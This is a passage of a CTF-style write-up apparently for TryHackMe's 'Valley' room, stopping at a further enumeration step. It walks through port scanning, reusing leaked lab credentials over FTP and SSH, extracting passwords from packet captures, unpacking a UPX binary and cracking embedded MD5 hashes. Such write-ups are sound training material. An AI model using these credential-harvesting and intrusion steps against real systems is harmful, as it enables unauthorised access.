The following post by anthonyjsaab is licensed under
0 - Introduction
Link to room:
This writeup walks you through a room on TryHackMe created by tryhackme and valley
1 - Scanning
1a - Ports
1ai - Discovery
โโโ(kaliใฟkali)-[~]
โโ$ sudo nmap -sS -p- 10.10.23.36
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 08:27 EEST
Nmap scan report for 10.10.23.36
Host is up (0.11s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
37370/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 577.97 seconds
1aii - Versioning
โโโ(kaliใฟkali)-[~]
โโ$ nmap -sC -sV -p22,80,37370 10.10.23.36
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 08:37 EEST
Nmap scan report for 10.10.23.36
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2842ac1225a10f16616dda0f6046295 (RSA)
| 256 429e2ff63e5adb51996271c48c223ebb (ECDSA)
|_ 256 2ea0a56cd983e0016cb98a609b638672 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
37370/tcp open ftp vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.37 seconds
The OS and applications of the target machine seem fairly up-to-date.
The CVEs returned are not very useful.
Directory busting might have returned interesting results worth inspecting.
2 - Manually exploring the webserver
So much data could be gathered by going through all of the directories and pages discovered by dirb. However, for the sake of keeping this writeup digestible, I will list the pages that would lead to gaining foothold:
2a - /static/00
2b - /dev1243224123123
The first thing that comes to mind would be to bruteforce this login form. However, when opening the Network Inspector and attempting to login with dummy credentials, no packet is sent! However, something does happen when clicking on login.
This points out to login logic being embedded in JS code on the client side. Going to the Debugger leads to this:
The highlighted lines are VERY important, and we will see why:
2c - /dev1243224123123/devNotes37370.txt
2d - What we know so far
The team in charge of the target machine have a very bad security posture. They do claim to reuse credentials.
The username "siemDev" paired with the password "california" might come in handy later.
3 - FTP
Trying out the set of credentials collected previously would lead to this:
โโโ(kaliใฟkali)-[~]
โโ$ ftp siemDev@10.10.23.36 37370
Connected to 10.10.23.36.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||52360|)
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r-- 1 1000 1000 1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r-- 1 1000 1000 1972448 Mar 06 14:06 siemHTTP2.pcapng
226 Directory send OK.
ftp> get siemFTP.pcapng
local: siemFTP.pcapng remote: siemFTP.pcapng
229 Entering Extended Passive Mode (|||40897|)
150 Opening BINARY mode data connection for siemFTP.pcapng (7272 bytes).
100% |***********************| 7272 127.10 KiB/s 00:00 ETA
226 Transfer complete.
7272 bytes received in 00:00 (42.47 KiB/s)
ftp> get siemHTTP1.pcapng
local: siemHTTP1.pcapng remote: siemHTTP1.pcapng
229 Entering Extended Passive Mode (|||35572|)
150 Opening BINARY mode data connection for siemHTTP1.pcapng (1978716 bytes).
100% |***********************| 1932 KiB 236.10 KiB/s 00:00 ETA
226 Transfer complete.
1978716 bytes received in 00:08 (233.24 KiB/s)
ftp> get siemHTTP2.pcapng
local: siemHTTP2.pcapng remote: siemHTTP2.pcapng
229 Entering Extended Passive Mode (|||35965|)
150 Opening BINARY mode data connection for siemHTTP2.pcapng (1972448 bytes).
100% |***********************| 1926 KiB 439.09 KiB/s 00:00 ETA
226 Transfer complete.
1972448 bytes received in 00:04 (427.56 KiB/s)
ftp> exit
221 Goodbye.
4 - Wireshark analysis
Analysing the Wireshark captures were very time consuming. It is not possible to list every finding here. The most import finding was in the siemHTTP2.pcapng file while inspecting unencrypted packets:
The credentials valleyDev:p********* will prove to be important later.
5 - SSH - Part One
Trying the collected credentials on SSH would lead to gaining foothold!:
โโโ(kaliใฟkali)-[~]
โโ$ ssh valleyDev@10.10.23.36
The authenticity of host '10.10.23.36 (10.10.23.36)' can't be established.
ED25519 key fingerprint is SHA256:cssZyBk7QBpWU8cMEAJTKWPfN5T2yIZbqgKbnrNEols.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:12: [hashed name]
~/.ssh/known_hosts:14: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.23.36' (ED25519) to the list of known hosts.
valleyDev@10.10.23.36's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
valleyDev@valley:~$
We also reached the first flag:
valleyDev@valley:~$ ls -la user.txt
-rw-rw-rw- 1 root root 24 Mar 13 08:17 user.txt
6 - valleyDev's enumeration for privesc
6a - Essential outputs from LinEnum
valleyDev@valley:~$ ./LinEnum.sh
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982
[-] Debug Info
[+] Thorough tests = Disabled
Scan started at:
Sun 28 May 2023 11:28:45 PM PDT
### USER/GROUP ##########################################
[-] Are permissions on /home directories lax:
total 752K
drwxr-xr-x 5 root root 4.0K Mar 6 13:19 .
drwxr-xr-x 21 root root 4.0K Mar 6 15:40 ..
drwxr-x--- 4 siemDev siemDev 4.0K Mar 20 20:03 siemDev
drwxr-x--- 16 valley valley 4.0K Mar 20 20:54 valley
-rwxrwxr-x 1 valley valley 732K Aug 14 2022 valleyAuthenticator
drwxr-xr-x 5 valleyDev valleyDev 4.0K May 28 23:26 valleyDev
### JOBS/TASKS ##########################################
[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
1 * * * * root python3 /photos/script/photosEncrypt.py
[-] Can we read/write sensitive files:
-rw-r--r-- 1 root root 2985 Mar 20 07:47 /etc/passwd
-rw-r--r-- 1 root root 1160 Mar 20 07:47 /etc/group
-rw-r--r-- 1 root root 581 Dec 5 2019 /etc/profile
-rw-r----- 1 root shadow 1905 Mar 20 07:47 /etc/shadow
### SCAN COMPLETE ####################################
6b - What we know so far:
SUID/SGID are not an option
A quick sudo -l leads to a dead end
A very interesting cronjob belonging to root is worth inspecting: python3 /photos/script/photosEncrypt.py. It runs every minute.
Two other standard users named "valley" and "siemDev" exist
7 - The Cronjob - Part One
When first discovering the cronjob, I thought I would be able to modify it or use it in a way similar to base64 and vi when they have the SUID bit set. However, inspecting the script would prove me wrong:
valleyDev@valley:~$ cat /photos/script/photosEncrypt.py
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
image_path = "/photos/p" + str(i) + ".jpg"
# open the image file and read its contents
with open(image_path, "rb") as image_file:
image_data = image_file.read()
# encode the image data in Base64 format
encoded_image_data = base64.b64encode(image_data)
# specify the path to the output file
output_path = "/photos/photoVault/p" + str(i) + ".enc"
# write the Base64-encoded image data to the output file
with open(output_path, "wb") as output_file:
output_file.write(encoded_image_data)
8 - Finding another path: Pivoting
Seeing that the python script was not of much help, it seemed as if the "valleyDev" user wouldn't be the launchpad to gaining root access. I started looking for other ways. That is when I did an important discovery:
8a - /home/valleyAuthenticator
Normally, we only find folders in /home. However, on this target machine, there was an executable with a very interesting filename:
valleyDev@valley:/home$ ls -la
total 752
drwxr-xr-x 5 root root 4096 Mar 6 13:19 .
drwxr-xr-x 21 root root 4096 Mar 6 15:40 ..
drwxr-x--- 4 siemDev siemDev 4096 Mar 20 20:03 siemDev
drwxr-x--- 16 valley valley 4096 Mar 20 20:54 valley
-rwxrwxr-x 1 valley valley 749128 Aug 14 2022 valleyAuthenticator
drwxr-xr-x 5 valleyDev valleyDev 4096 May 28 23:26 valleyDev
valleyDev@valley:/home$ ./valleyAuthenticator
Welcome to Valley Inc. Authenticator
What is your username: 12
What is your password: 34
Wrong Password or Username
valleyDev@valley:/home$
8b - Investigating valleyAuthenticator
From the filename, I understood that this file was worth investigating. At first, I thought the executable might be communicating with an authentication server, and that I will need to bruteforce my way to reveal a secret. However, reviewing the LinEnum outputs made this scenario very unlikely. It now seemed that the secret could be embedded in the executable itself. A quick search on Google revealed that there was a tool that could be useful in this situation: strings.
8bi - strings - Part One
After downloading valleyAuthenticator to my Kali machine using SCP, I ran the strings command on it:
Going through the output revealed to be mostly gibberish. However, two snippets were interresting:
While searching for "user", I found this:
-^;x&
e67[REDACTED BY ME]ac
ddJ[REDACTED BY ME]6cfbOW
elcome to Valley Inc. Authentica
[k0rHh
is your usernad
Ol: /passwXd.{
~{edJrong P=
sL_striF::_M_M
v0ida%02xo
~ c-74
lrec
I felt that it was important, but I did not know how to proceed with it.
While simply scrolling, I noticed this:
W^YH
PROT_EXEC|PROT_WRITE failed.
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
_j<X
This was VERY interesting. This executable was packed using UPX. A quick search on Google revealed that I could uncompress the executable: using:
โโโ(kaliใฟkali)-[~]
โโ$ upx -d Documents/valleyAuthenticator
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
-------------------- ------ ----------- -----------
2285616 <- 749128 32.78% linux/amd64 valleyAuthenticator
Unpacked 1 file.
8bii - strings - Part Two
Using strings on this bigger executable leads to much more output, but they are much more human-readable. Searching again for "user" led me to this:
[]A\
I9\$xv.I
T$pH
tKU1
e6[REDACTED BY ME]ac
dd[REDACTED BY ME]fb
Welcome to Valley Inc. Authenticator
What is your username:
What is your password:
Authenticated
Wrong Password or Username
basic_string::_M_construct null not valid
%02x
basic_string::_M_construct null not valid
terminate called recursively
what():
When I saw this, I immediatly identified the two gibberish strings as potentially MD5 hashes. Putting them in CrackStation leads to:
Voila! We now have new credentials
9 - SSH - Part Two
Using the newly discovered credentials leads to:
โโโ(kaliใฟkali)-[~]
โโ$ ssh valley@10.10.23.36
valley@10.10.23.36's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun May 28 23:50:19 2023 from 10.8.124.134
valley@valley:~$
10 - Enumerating (again)
Enumerating again did not lead to interesting results, at first. However, after countless unsuccessful attempts, an enumeration outputted something interesting:
